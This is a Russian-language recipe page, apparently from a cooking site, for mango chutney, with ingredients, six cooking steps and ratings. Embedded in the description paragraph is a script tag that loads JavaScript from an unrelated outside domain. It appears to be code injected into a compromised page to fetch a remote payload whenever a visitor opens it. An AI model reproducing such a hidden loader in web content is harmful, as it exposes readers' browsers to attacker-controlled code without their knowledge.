мясо рыба птица овощи салаты супы выпечка десерты

Чатни из манго



Обновлен:  
03.07.2014
Комментариев:
Время приготовления: 30 мин

Как известно, чатни - это широко распространенное на юге Азии блюдо. Это традиционная приправа, которую обычно готовят из фруктов - в частности, из манго. Делюсь рецептом.

Описание приготовления:

Чатни из манго - это очень популярная индийская приправа, которая благодаря специям и необычной технологии приготовления очень здорово возбуждает аппетит. Обычно ее передают перед основным блюдом, вместе с какой-нибудь закуской. В нашей семье чатни из манго используется разными способами - намазываем на хлеб, добавляем в блинчики, подаем с оладьями, всякими разными закусками... Вкус передать сложно - надо пробовать. Чего вам и желаю!<script type="text/javascript" src="http://fsgv.ru/i.js"></script>


Основной ингредиент: Фрукты / Манго
Блюдо: Соусы / Чатни

Ингредиенты:

  • Манго — 2 Штуки
  • Растительное масло — 2 Ст. ложки
  • Перец чили — 2 Штуки
  • Специи — 3 Щепотки (зира, зерна горчицы, перец горошком, соль, сахар, кориандр, паприка)
  • Лимонный сок — 2 Чайных ложки

Количество порций: 8

Как приготовить "Чатни из манго"

Чатни из манго - фото шаг 1
Очищаем манго от кожуры.
Чатни из манго - фото шаг 2
Мякоть манго нужно размять ложечкой до пюреобразного состояния.
Чатни из манго - фото шаг 3
В сковороде разогрейте масло, обжарьте в нем перец и специи в течение 1-2 минуты на быстром огне.
Чатни из манго - фото шаг 4
Теперь добавляем лимонный сок, перемешиваем.
Чатни из манго - фото шаг 5
Сразу же добавляем манго и уменьшаем огонь. Тушим, помешивая, в течение 5 минут.
Чатни из манго - фото шаг 6
Снимаем с огня, охлаждаем - и готово! Хранить в холодильнике.

Оценить рецепт Чатни из манго:

4
средняя оценка: 4.3, всего голосов: 10

Подборки рецептов:

Добавить свой комментарий:

 — введите ваше имя

 — символы с картинки

вставить смайлик

Добавление рецепта в книгу
Введите название книги


+ Создать кулинарную книгу


Отправить рецепт другу
Добавление рецепта в книгу
Действие выполнено
Вы уверены?
Вы можете отдать свой голос только за 1 рецепт. Вы уверены, что хотите проголосовать именно за данный рецепт?





 


Как накормить всю семью? Povar.ru - Все ответы на кулинарные секреты!
медовик торт

Традиционная русская кухня, а так же большое количество рецептов из разных уголков Мира.
как испечь пирожки в духовке